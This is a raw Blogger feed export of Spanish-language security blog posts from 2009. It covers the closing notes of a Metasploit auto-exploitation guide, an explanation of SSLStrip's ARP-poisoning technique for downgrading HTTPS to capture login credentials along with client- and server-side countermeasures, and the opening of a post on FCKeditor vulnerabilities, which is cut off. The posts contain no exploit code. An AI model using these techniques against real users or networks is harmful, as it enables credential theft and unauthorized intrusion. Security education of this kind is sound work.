&lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;NOTAS FINALES:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ol&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;El comando db_nmap es el ejecutable /bin/nmap embebido en el metasploit, si utilizamos el comando db_nmap desde metasploit, el resultado se cargará automáticamente en la base de datos creada.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Se puede realizar la importación de un resultado de nmap en archivo *.xml con el comando db_import_nmap_xml como lo hicimos con el archivo de nessus.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Si se quiere realizar otro análisis distinto y se cargan los datos en la misma base de datos, la autoexplotación de metasploit lo hará a todos los hosts que se encuentren en la base de datos, es recomendable crear nuevamente la base de datos pero bajo el riesgo de perder los datos ingresados anteriormente.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;    &lt;!--EndFragment--&gt; &lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:56.7pt 56.7pt 56.7pt 56.7pt; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1; 	mso-footnote-position:beneath-text;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Bueno eso es todo, hasta el próximo post…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VIDEO&lt;/span&gt;&lt;br /&gt;&lt;object width="608" height="512" class="BLOG_video_class" id="BLOG_video-2387df182a11791c" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v19.nonxt6.googlevideo.com/videoplayback?id%3D2387df182a11791c%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331683735%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D5286B78362723B1E89C36F66730C0F698ED40FE7.6F07A82DC134F0207E12B6208AE4811125ABF251%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D2387df182a11791c%26offsetms%3D5000%26itag%3Dw160%26sigh%3DWrM3RfO-CqlkSwxsEdvo56iW5qw&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="608" height="512" bgcolor="#FFFFFF"flashvars="flvurl=http://v19.nonxt6.googlevideo.com/videoplayback?id%3D2387df182a11791c%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331683735%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D5286B78362723B1E89C36F66730C0F698ED40FE7.6F07A82DC134F0207E12B6208AE4811125ABF251%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D2387df182a11791c%26offsetms%3D5000%26itag%3Dw160%26sigh%3DWrM3RfO-CqlkSwxsEdvo56iW5qw&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-3305172715868097137?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/3305172715868097137/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/autoexplotacion-con-metasploit_31.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3305172715868097137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3305172715868097137'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/autoexplotacion-con-metasploit_31.html' title='Autoexplotación con Metasploit'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUm2ZB49I/AAAAAAAAAD0/urPqeFZRVjA/s72-c/1.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1439285163778550037</id><published>2009-03-19T19:20:00.000-05:00</published><updated>2009-03-20T12:15:44.043-05:00</updated><title type='text'>SSLStrip</title><content type='html'>Aprovechando que estuve probando una nueva herramienta, me atrevo a escribir unas líneas para plasmar aquí los resultados, lo aprendido y una que otra divagación propia de una mente ávida de conocimiento.&lt;br /&gt;&lt;br /&gt;Como sabemos, hace menos de un mes tuvo lugar la conferencia &lt;a href="http://www.blackhat.com/"&gt;&lt;span lang="es-PE"&gt;blackhat&lt;/span&gt;&lt;/a&gt;&lt;span lang="es-PE"&gt;, esta vez en Washington. Dentro de las muchas presentaciones, una, expuesta por &lt;/span&gt;&lt;a href="http://www.thoughtcrime.org/"&gt;&lt;span lang="es-PE"&gt;Moxie Marlinspike&lt;/span&gt;&lt;/a&gt;&lt;span lang="es-PE"&gt; abordaba la seguridad de SSL, en específico, la charla se llama &lt;/span&gt;&lt;a href="https://media.blackhat.com/bh-dc-09/video/Marlinspike/blackhat-dc-09-marlinspike-slide.mov"&gt;&lt;span lang="es-PE"&gt;New Techniques for defeating SSL&lt;/span&gt;&lt;/a&gt;&lt;span lang="es-PE"&gt;. Para Marlinspike la investigación de este tema no es nueva, de hecho, en el 2002 liberó la herramienta &lt;/span&gt;&lt;a href="http://www.thoughtcrime.org/software/sslsniff/index.html"&gt;&lt;span lang="es-PE"&gt;sslsniff&lt;/span&gt;&lt;/a&gt;&lt;span lang="es-PE"&gt; que aprovechaba un error en la implementación de SSL de algunos navegadores para firmar el certificado de un dominio, con otro, engañando al usuario. &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;span lang="es-PE"&gt;El ataque se basaba en la cadena de confianza, técnicamente hablando utilizaba la cadena de certificados para lograr su objetivo. Una autoridad certificadora &lt;/span&gt;&lt;span lang="es-PE"&gt;válida &lt;/span&gt;&lt;span lang="es-PE"&gt;(&lt;a href="http://en.wikipedia.org/wiki/Certificate_Authority"&gt;CA)&lt;/a&gt; firma un certificado válido, pero este último certificado &lt;/span&gt;&lt;span style="font-size:100%;"&gt;no deberia poder ser usado para firmar mas certificados&lt;/span&gt;&lt;span lang="es-PE"&gt;, obvio no?. Sin embargo, debido a una mala implementación y la no especificación ni lectura del campo &lt;span style="font-style: italic;"&gt;basicConstraints&lt;/span&gt;, un atacante dueño de un certificado válido, a través de sslsniff que utiliza openssl, firma un certificado fraudulento y dado que la ruta de certificación es válida, el navegador víctima lo toma como válido. Esto significa que cualquiera con un certificado válido podía (ya no es posible debido a que ya fue corregido) crear y firmar otro certificado válido para &lt;span style="font-weight: bold;"&gt;cualquier otro dominio&lt;/span&gt;.&lt;br /&gt;Más info sobre este bug:&lt;/span&gt;&lt;span lang="es-PE"&gt; &lt;a href="http://www.giac.org/download.php?p=gcih_576&amp;amp;c=fd9a95fa98323e1e3d48bc1b932ad39d"&gt;Aqui&lt;/a&gt;. Y el &lt;a href="http://secunia.com/advisories/7793/"&gt;advisor&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;En esta oportunidad, la herramienta presentada, &lt;a href="http://www.thoughtcrime.org/software/sslstrip"&gt;&lt;span lang="es-PE"&gt;sslstrip&lt;/span&gt;&lt;/a&gt;&lt;span lang="es-PE"&gt;, no explota una vulnerabilidad propiamente dicha, sino que implementa una ingeniosa manera de engañar a un usuario haciéndole creer que se encuentra en una comunicación cifrada HTTPS cuando en realidad todo el tráfico es HTTP en texto plano. SSLStrip está desarrollado en python y no es otra cosa que un servidor proxy transparente que hace algunas cosas inusuales.&lt;br /&gt;&lt;br /&gt;Actualmente el ataque que conozco para "jugar" con comunicaciones HTTPS consta de un MITM con envenamiento ARP. Sin embargo, cualquier usuario avispado dudará en ingresar sus credenciales luego de la advertencia presentada por el navegador respecto al famoso certificado inválido. Hace poco me comentaban que herramientas como ettercap mejoran esta técnica al tomar la información del certificado válido como el Common Name la exponen en el certificado creado por la herramienta para hacer confiar al usuario.  Sin embargo, la advertencia siempre se mostrará, y eso no queremos.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLjhlRtaLI/AAAAAAAAABE/GI437gZfTmM/s1600-h/tmp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 355px; height: 107px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLjhlRtaLI/AAAAAAAAABE/GI437gZfTmM/s320/tmp.png" alt="" id="BLOGGER_PHOTO_ID_5315060676332185778" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;La advertencia es mostrada debido a que se crea una comunicación segura en los 2 canales del envenamiento ARP, es decir, uno entre el usuario y el atacante y otro entre el atacante y el servidor Web. Dado esto, es el atacante quien crea su certificado "self signed" y al comprobar el browser del usuario, determinará que no es vállido mostrando esa fea advertencia.&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLjxab67DI/AAAAAAAAABM/Am3FcXFV390/s1600-h/CertificadoInvalido.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 359px; height: 258px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLjxab67DI/AAAAAAAAABM/Am3FcXFV390/s320/CertificadoInvalido.PNG" alt="" id="BLOGGER_PHOTO_ID_5315060948300131378" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;He aquí la innovación de SSLStrip: entre el atacante y el usuario existe una comunicación HTTP sin cifrar y entre el atacante y el Web server existe la comunicación cifrada (Ver imagen). Para esto, SSLStrip que básicamente funciona como un proxy que intercepta comunicaciones HTTP, previo ARP Poison, analiza el tráfico enviado por el usuario y sustituye las comunicaciones cifradas por no cifradas de manera que el usuario visualiza la página que busca, pero sin cifrar. Esto se logra simplemente cambiando cualquier dirección que apunte a un recurso https por un http ya sea links &lt;span lang="es-PE"&gt;&lt;i&gt;href&lt;/i&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt; o redireciones &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;i&gt;Location&lt;/i&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/ScLrL2xplLI/AAAAAAAAAB0/XHJ7V66G6jc/s1600-h/tmp2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 351px; height: 90px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/ScLrL2xplLI/AAAAAAAAAB0/XHJ7V66G6jc/s320/tmp2.png" alt="" id="BLOGGER_PHOTO_ID_5315069099165455538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span lang="es-PE"&gt;Esto es posible debido a que normalmente, para llegar a un recurso cifrado HTTPS primero se ingresa mediante HTTP, es decir, la mayoría de veces la única manera de llegar a un cifrado SSL se da a través de links (href) y redirecciones (Location). Me pregunto ¿cuántas personas ingresan a un portal web escribiendo el &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;b&gt;https&lt;/b&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt; adelante?. De hecho conozco varios, incluso algunos demasiado neuróticos al punto que sólo quieren chatear por canales cifrados o que paran con un token en el bolsillo para conectarse a la VPN de su casa para de ahi navegar seguro jajaja, pero son pocos.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regresando al tema, existen páginas muy conocidas, que presentan todo en HTTP y tan sólo son los &lt;span lang="es-PE"&gt;&lt;i&gt;Form Action&lt;/i&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt; los que apuntan a recursos https entre ellas conocidos bancos gringos o un proveeder de webmail muuuy conocido. Dado esto, SSLStrip sólo tiene que cambiar el link del &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;i&gt;Form Action &lt;/i&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt;para que las credenciales sean enviadas por HTTP  logrando capturar las credenciales y significando esto &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;b&gt;ninguna &lt;/b&gt;&lt;/span&gt;&lt;span lang="es-PE"&gt;diferencia para el usuario en cuanto a la visualización.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Veamos como SSLStrip hace el cambio y los resultados conseguidos.&lt;br /&gt;&lt;br /&gt;Esta es la versión de el formulario de logueo de Google segura.&lt;p&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IhM_rPvn0ac/ScLkD_4SFAI/AAAAAAAAABU/9wdet7IxUCQ/s1600-h/GoogleSeguro1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 287px;" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/ScLkD_4SFAI/AAAAAAAAABU/9wdet7IxUCQ/s320/GoogleSeguro1.PNG" alt="" id="BLOGGER_PHOTO_ID_5315061267588846594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esta es la versión de el formulario de logueo de Google con SSLStrip.&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLkRGADz8I/AAAAAAAAABc/2piwdZOgOjY/s1600-h/GoogleInseguro2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 287px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLkRGADz8I/AAAAAAAAABc/2piwdZOgOjY/s320/GoogleInseguro2.PNG" alt="" id="BLOGGER_PHOTO_ID_5315061492570378178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;De misma forma, PayPal seguro:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IhM_rPvn0ac/ScLkpcDQhII/AAAAAAAAABk/tECoHBp2NnM/s1600-h/PaypalSeguro1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 286px;" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/ScLkpcDQhII/AAAAAAAAABk/tECoHBp2NnM/s320/PaypalSeguro1.PNG" alt="" id="BLOGGER_PHOTO_ID_5315061910806234242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Paypal inseguro:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLk6KmTDYI/AAAAAAAAABs/P1OjmHkMjds/s1600-h/PaypalInseguro2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 287px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLk6KmTDYI/AAAAAAAAABs/P1OjmHkMjds/s320/PaypalInseguro2.PNG" alt="" id="BLOGGER_PHOTO_ID_5315062198179138946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es importante mencionar que SSL no está roto, la debilidad (ya que no es una vulnerabilidad) de la que SSLStrip se aprovecha se encuentra en todo el contexto: usuarios no concientizados, portales Web con malos diseños que intentan presentar una idea de seguridad, navegadores, protocolos,etc.&lt;br /&gt;&lt;br /&gt;Cabe resaltar que los mecanismos de autenticación que emplean tokens OTP no se encuentran a salvo de este tipo de ataques, pues una vez autenticados podemos usar las cookies de sesión y utilizar los recursos privados, a los cuales no deberíamos tener acceso.&lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;span lang="es-PE"&gt;Existen varios métodos para evitar este tipo de ataques, pero en todos es necesario que los usuarios sean concientizados. Entre los métodos para evitar este ataque tenemos:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="font-weight: bold;"&gt;&lt;span lang="es-PE"&gt;Desde el lado del cliente:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;span lang="es-PE"&gt;Escribir directamente https en la barra de  direcciones, con esto primero iniciamos un canal cifrado y dentro de  dicho canal se envían las peticiones http, si algún proxy intenta  suplantar al servidor o modificar la información que viaja por este  canal, el usuario podrá percatarse de ello gracias a las  advertencias de los navegadores.&lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;span lang="es-PE"&gt;Verificar la información de seguridad de  la web mostrada por el navegador, es decir verificar que se esté  usando https, se puede usar https y confundir al usuario usando una  técnica llamada homograph attack, pero no si el sitio web usa  certificados de validación extendida.&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;     &lt;p style="font-weight: bold;"&gt;&lt;span lang="es-PE"&gt;Desde el lado del servidor:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;Evitar usar páginas de autenticación en HTTP con envío a HTTPS o HTTP.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;Evitar el uso de frames, iframes.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;No usar contenido sin cifrar dentro de una web con https, por ejemplo si desean usar alguna imagen, un archivo de javaxript o cualquier otro control, deben ser solicitados vía HTTPS. &lt;/span&gt;&lt;span lang="es-PE"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;Recordar a los desarolladores que poner un gif de un candadito al costado de donde ingresan las credenciales no convierte a la página en segura.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;En aplicaciones donde se manejan datos muy valiosos se puede considerar implementar la &lt;a href="http://en.wikipedia.org/wiki/Mutual_authentication"&gt;autenticación mutual&lt;/a&gt; con certificados.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;span lang="es-PE"&gt;En las páginas donde el usuario ingresa información sensible, personal o confidencial, se debe prohibir el tráfico http y por defecto usar HTTPS.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Bueno, eso es todo por ahora, agradecimientos a CC por la ayuda más técnica, hasta otra ocasión.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1439285163778550037?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1439285163778550037/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/sslstrip.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1439285163778550037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1439285163778550037'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2009/03/sslstrip.html' title='SSLStrip'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_IhM_rPvn0ac/ScLjhlRtaLI/AAAAAAAAABE/GI437gZfTmM/s72-c/tmp.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1342072702542858283</id><published>2009-03-01T14:35:00.003-05:00</published><updated>2011-02-01T09:55:57.221-05:00</updated><title type='text'>Vulnerabilidades en FCKeditor</title><content type='html'>Luego de una buena introducción, empezamos con los posts más técnicos.&lt;br /&gt;Iniciamos con algunas vulnerabilidades bastante sencillas y de criticidad elevada. Estas vulnerabilidades son aún encontradas en muchos servidores Web, tanto de instituciones públicas como privadas en todo el mundo.&lt;br /&gt;&lt;br /&gt;Basados en una reciente evaluación, empecemos analizando un editor muy usado por diversas aplicaciones y por desarrolladores. Nos referimos a FCKeditor.&lt;br /&gt;&lt;br /&gt;FCKeditor es un editor de texto Open Source del tipo WYSIWYG (What you see is what you get), muy parecido a editores ya conocidos como MS Word o el propio Google Docs. Lo interesante de este editor es que no necesita instalación alguna en el cliente: se basa en el servicio HTTP, es decir, a través de un browser, el usuario puede crear y modificar documentos de texto que luego pueden ser exportados y descargados. Este editor es compatible con la gran mayoría de navegadores conocidos incluyendo a Internet Explorer,&lt;br /&gt;Firefox, Safari, Opera y Netscape.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/SarkTucgNhI/AAAAAAAAAAU/Uz8jFDLBo6Y/s1600-h/1" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5308306138345780754" 